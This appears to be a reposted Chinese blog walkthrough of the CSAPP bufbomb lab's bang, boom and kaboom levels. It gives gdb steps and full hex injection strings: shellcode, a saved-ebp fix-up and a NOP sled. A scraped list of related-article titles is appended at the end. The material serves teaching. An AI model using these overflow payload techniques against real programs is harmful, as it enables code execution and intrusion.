CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz

CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom

栈结构镇楼

这里先给出getbuf的反汇编代码和栈结构,方便下面的使用。

栈结构:

第2关:bang

构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行bang函数;并且要篡改全局变量global_value为cookie值,使其判断成功。但我们知道全局变量放置在bss节或data节,并不存放在栈中,前面的方法只能修改栈中的内容,无法修改全局变量的内容。那我们需要换一种思路,先构建一段恶意代码,通过该段恶意代码,修改全局变量的值,以及其他操作。
我们需要将恶意代码放置在攻击字符串中,使得getbuf返回之后,首先执行这段恶意代码,然后再执行bang函数。
先看一下bang的源码:

#define NORMAL_BUFFER_SIZE 32
void test()
{int val;/* Put canary on stack to detect possiblecorruption */volatile int local = uniqueval();val = getbuf();/* Check for corruption stack */if (local != uniqueval()){printf("Sabotaged!: the stack has beencorrupted\n");}else if (val == cookie){printf("Boom!: getbuf returned0x%x\n", val);validate(3);}else{printf("Dud: getbuf returned0x%x\n", val);}
}
int getbuf()
{char buf[NORMAL_BUFFER_SIZE];Gets(buf);return 1;
}
int global_value = 0;
void bang(int val)
{if (global_value == cookie){printf("Bang!: You set global_value to 0x%x\n",global_value);validate(2);}elseprintf("Misfire: global_value = 0x%x\n", global_value);exit(0);
}

先找到全局变量的位置:在bang函数里看到有两个内存地址,正好和源程序里的判断相等对应,接下来确定哪一个是全局变量。

0x804d100和0x804d108那一个是全局变量?

这里我用gdb调试

gdb bufbomb

在getbuf函数设断点,运行,查看一下两个地址的值,很明显,0x804d100是全局变量。

注意这里的调试方法设置完断点后运行的指令

(gdb) r -u stu

这里的stu是userid !

到这里全局变量也找到了,那么我们也就能写出恶意代码来了。

movl   $0x4f802594,0x804d100//将cookie赋值给全局变量
push   $0x08048cad //函数bang的地址压入栈
ret

将恶意代码保存到扩展名为.s的汇编代码文件,然后用gcc –m32 –c 编译成.o可重定位目标文件,然后objdump –d 反编译出机器码。

这是恶意代码,我们需要的是这些16进制的机器码,我把它们放到buf区域里,然后执行就可以了。要执行这些代码就需要让控制流可以跳到这,只要把这段恶意代码的首地址放到getbuf函数的返回地址处就可以了,也就是buf缓冲区的首地址放到getbuf函数返回地址。接下来找buf缓冲区的首地址:

看一下getbuf函数,发现,在图中0x80491f7处,ebp减小开辟了一段空间,也就是buf区域,eax寄存器中放的就是该空间的首地址,即buf首地址。

用gdb调试,我们在0x80491fd也就是call gets之前设置断点来查看eax寄存器中的内容,查看eax的值。

处理成小端也就是

e8 39 68 55

最终编写的恶意代码:

c7 05 00 d1 04 08 94 /*movl   $0x4f802594,0x804d100*/
25 80 4f
68 ad 8c 04 08       /*push   $x08048cad*/
c3                   /*ret*/
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
e8 39 68 55          /*buff首地址0x556839e8*/

将其保存到一个txt文件中,用管道输入,通过hex2raw之后输入bufbomb程序。

完成!

第3关:boom

前面的攻击都是使目标程序跳转到特定函数,进而利用exit函数结束目标程序运行,在这个过程中我们都把原来的恢复现场需要用的返回地址和原test的ebp给破坏了。Boom这一关中,我们将修复这些被我们破坏的栈状态信息,让最后还是回到test中,让被攻击者不容易发现我们动了手脚,

另外,构造攻击字符串,使得getbuf都能将正确的cookie值返回给test函数,而不是返回值1。设置返回值也就是更改eax(eax中保存的就是函数的返回值)的值,可以用mov指令设置eax存的为cookie值。更改完要进入test函数继续执行下面的指令,也就是下图中这个位置,将这个地址压栈。

void test()
{int val;/* Put canary on stack to detect possiblecorruption */volatile int local = uniqueval();val = getbuf();/* Check for corruption stack */if (local != uniqueval()){printf("Sabotaged!: the stack has beencorrupted\n");}else if (val == cookie)///getbuf函数返回值为cookie
    {printf("Boom!: getbuf returned0x%x\n", val);validate(3);}else{printf("Dud: getbuf returned0x%x\n", val);}
}

综合起来恶意代码就是:

/*cookie0x4f802594*/
movl $0x4f802594,%eax //将返回值修改为cookie
pushl $0x8048dce      //将call getbuf函数的下一条要执行的指令的地址压入返回地址
ret                   //用ret来执行返回地址

用同bang那关一样的方法,得到字节码:

恶意代码准备好了,将返回地址更改为指向这个代码的位置,把恶意代码放到buf缓冲区内,返回地址和bang一样。

接下来要恢复ebp的值,先得到ebp旧值。

gdb调试:在getbuf第一行,push ebp 设置断点。查看ebp的值。

ebp=0x55683a40,即40 3a 68 55

用这个值覆盖ebp值。ebp值在返回地址的低方位,放在返回地址前。

最终编写的恶意代码:

b8 94 25 80 4f          /*movl $0x4f802594,%eax */
68 ce 8d 04 08          /*pushl $0x8048dce */
c3                      /*ret*/
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00
40 3a 68 55             /*old ebp:0x55683a40*/
e8 39 68 55             /*buff首地址0x556839e8*/

将其保存到一个txt文件中,用管道输入,通过hex2raw之后输入bufbomb程序。

nice!

第4关:kaboom

这一关难度比前面都大。但也是承接上一关的,构造攻击字符串使getbufn函数,返回cookie值至testn函数,而不是返回值1,需要将cookie值设为函数返回值,复原被破坏的栈帧结构,并正确地返回到testn函数。但这一关与之前最大的不同在于地址空间随机化,每次攻击,被攻击函数的栈帧内存地址都不同,也就是函数的栈帧位置每次运行时都不一样,不能准确地跳转到栈空间的某个特定地址。因此,要想办法保证每次都能够正确复原原栈帧被破坏的状态,使程序每次都能够正确返回。

进入这一关需要加入-n选项,调的函数是testn和getbufn,而不是前面的test和getbuf。这道题有5个test case,要都通过才算过。

说点题外话这一关还有一个别名Nitro 硝化甘油,这是一种不稳定的火药,其实从这里也暗示了这一关的攻击不稳定。

先看一下源码:

#define KABOOM_BUFFER_SIZE 512
void testn()
{int val;volatile int local = uniqueval();val = getbufn();/* Check for corrupted stack */if (local != uniqueval()){printf("Sabotaged!: the stack has been corrupted\n");}else if (val == cookie){printf("KABOOM!: getbufn returned 0x%x\n", val);validate(4);}else{printf("Dud: getbufn returned 0x%x\n", val);}
}
int getbufn()
{char buf[KABOOM_BUFFER_SIZE];Gets(buf);return 1;
}

在这一关buffersize也从32增大到了512,这个做法是有意义的。

大概的思路是,虽然栈的初始地址不同,但会在一些范围里浮动,所以我们需要把我们的代码填在512字节的最后几个字节里,并且前面全面的空间都填上nop(编码为0x90)。不管我们跳转到哪个nop,最后都会执行到我们的代码。

ebp是随机的,但是ebp相对esp是绝对的,根据上面的图中结合栈结构得出

ebp = esp + 0x24 + 4 = esp + 28

getbufn函数返回后要从0x8048e4a开始执行,将这个地址压栈。

设置cookie给eax。

综合得出恶意代码为:

mov    $0x4f802594,%eax  //将返回值修改为cookie
lea    0x28(%esp),%ebp   //ebp=esp+28
push   $0x8048e4a        //将call getbufn函数的下一条要执行的指令的地址压入返回地址
ret

转换为字节码:

再回到getbufn函数:

要填入0x208+4+4=528字节。

因为随机,不知道程序会跳到哪里,所以把恶意代码放到最后面,用nop滑行。

(nop不会执行任何操作,只有PC加一,机器码是90。)

所以,前面塞满90,最后面写上恶意代码程序,以及最后要跳的位置。

  寻找要跳的地址:

由于随机化,buf首地址不确定。用gdb调试:在0x8049218设断点,看eax的值。(每执行一次,要用c命令继续,进而执行下一次)

如此这样五次,注意这次调试时运行r需要加入-n

(gdb) r -nu stu

这样获得了5个buf起始地址。

0x55683808
0x556837a8
0x55683878
0x55683858
0x556837a8

取最高地址0x55683878(78 38 68 55)作为返回地址,这样就会一路滑行到恶意代码,执行恶意代码。

综上:

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
/*100*/
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
/*200*/
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
/*400*/
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
/*500*/
90 90 90 90 90 90 90 90 90
b8 94 25 80 4f                /*mov    $0x4f802594,%eax*/
8d 6c 24 28                   /*lea    0x28(%esp),%ebp */
68 4a 8e 04 08                /*push   $0x8048e4a */
c3
78 38 68 55                   /*0x55683878*/

同上管道输入。

注意:需要注意的是因为在Nitro模式下主程序需要读五次input以满足执行五次的需要,因此在执行./hex2raw程序时请注意添加 -n flag以保证input string 被复制五次每次以\n结尾以结束每次的gets()函数调用。

完结撒花!

转载于:https://www.cnblogs.com/wkfvawl/p/10809471.html

CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom相关推荐

  1. CSAPP缓冲区溢出攻击实验(上)

    CSAPP缓冲区溢出攻击实验(上) 下载实验工具,最新的讲义在这.网上能找到的实验材料有些旧了,有的地方跟最新的handout对不上.不过没有关系,大体上只是程序名(sendstring)或者参数名( ...

  2. 计算机系统基础学习笔记(7)-缓冲区溢出攻击实验

    缓冲区溢出攻击实验 实验介绍 实验任务 实验数据 目标程序 bufbomb 说明 bufbomb 程序接受下列命令行参数 目标程序bufbomb中函数之间的调用关系 缓冲区溢出理解 目标程序调用的ge ...

  3. 计算机系统(2) 实验四 缓冲区溢出攻击实验

    计算机系统(2) 实验四 缓冲区溢出攻击实验 一. 实验目标: 二.实验环境: 三.实验内容 四.实验步骤和结果 (一)返回到smoke (二)返回到fizz()并准备相应参数 (三)返回到bang( ...

  4. 【计算机系统】缓冲区溢出攻击实验

    github地址 一. 实验目标: 理解程序函数调用中参数传递机制: 掌握缓冲区溢出攻击方法: 进一步熟练掌握GDB调试工具和objdump反汇编工具. 二.实验环境: 计算机(Intel CPU) ...

  5. 实验8 缓冲区溢出攻击实验

    实验8 缓冲区溢出攻击实验 缓冲区溢出是目前最常见的一种安全问题,操作系统以及应用程序大都存在缓冲区溢出漏洞.缓冲区是一段连续内存空间,具有固定的长度.缓冲区溢出是由编程错误引起的,当程序向缓冲区内写 ...

  6. 缓冲区溢出攻击实验(C语言 | 汇编语言 | 输出deadbeef)

    缓冲区溢出攻击实验(输出deadbeef) C语言题目源码 尝试 运行程序 观察 分析 栈内部情况 决定使用栈溢出 实施 使用vs2019打开反汇编 使用反汇编 构造payload 得到结果 C语言题 ...

  7. 【网络攻防技术】实验四——缓冲区溢出攻击实验

    文章目录 一.实验题目 二.实验步骤 Task1: Get Familiar with the Shellcod Task2: Level-1 Attack Task 3: Level-2 Attac ...

  8. 缓冲区溢出攻击实验(一)

    无聊之余,想弄一下缓冲区溢出实验,之前一直听说这个,也没有亲自动手做一下,发现真正弄起来的时候还是没那么简单的,其实学到的东西还是不少的.特此记下学习的过程. 一.基础知识 这一部分主要是关于程序内存 ...

  9. CSAPP:Attack Lab —— 缓冲区溢出攻击实验

    Warm-up X86-64寄存器和栈帧 X86-64有16个64位寄存器 : -%rax 作为函数返回值使用. - %rsp 栈指针寄存器,指向栈顶. - %rdi,%rsi,%rdx,%rcx,% ...

  10. 缓冲区溢出攻击实验(深大计系2实验4)三题思路+答案

    额 今天做的事缓冲区 溢 出 攻 击 实验 思路就是有个函数会一直读字符串,可是对字符串长度没有限制,所以会造成缓冲区的溢出,导致堆栈中的其他值被我们修改,达到攻击的目的 实验资源 链接: https ...

最新文章

  1. C++右值引用 和 std::move()
  2. 113. Leetcode 674. 最长连续递增序列 (动态规划-子序列问题)
  3. [python] LDA处理文档主题分布代码入门笔记
  4. Creating UIImage with renderingMode in Swift
  5. knn k的选取_KNN - 初窥K近邻算法
  6. easyui datagrid url不请求请求_Go Web编程--深入学习解析HTTP请求
  7. 微信小程序微商城(七):动态API实现商品分类
  8. 机器学习专业名词中英文对照
  9. 如何在Java中将Excel(XLSX)转换为Word(DOCX)
  10. 虚拟化:十大虚拟化最佳实践
  11. 微软拼音变成繁体,如何修改为简体
  12. 根证书、服务器证书、用户证书的区别
  13. [RK356x] [Firefly-Ubuntu] 1min教你在Ubuntu系统安装GCC开发工具
  14. 51单片机实战教程(四 延时程序)
  15. win10计算机休眠快捷键,让win10电脑快速进入休眠快捷键是什么-
  16. 微信小程序云开发教程-小程序端调用云函数
  17. mysql dba项目经验_MySQL数据库专家分享资深DBA经验
  18. OpenStack Tracker
  19. 【机器学习之路】(转载)
  20. HTTP 协议中GET和POST到底有哪些区别

热门文章

  1. element 保存 点击链接_保存微信表情!
  2. matlab 矩阵列乘系数,matlab 给某一列乘上一个系数
  3. GMQ交易所正式发布GMQ Token
  4. Java使用Redis
  5. select a method for export 选项
  6. 将SpringBoot的项目打包成war文件
  7. 进程间通信-字符串的传递
  8. Oracle11gR2 RAC+DataGuard安装实施维护2+1_数据库集群容灾视频教程
  9. 胜过对手,先从微笑开始
  10. linux用户和账号管理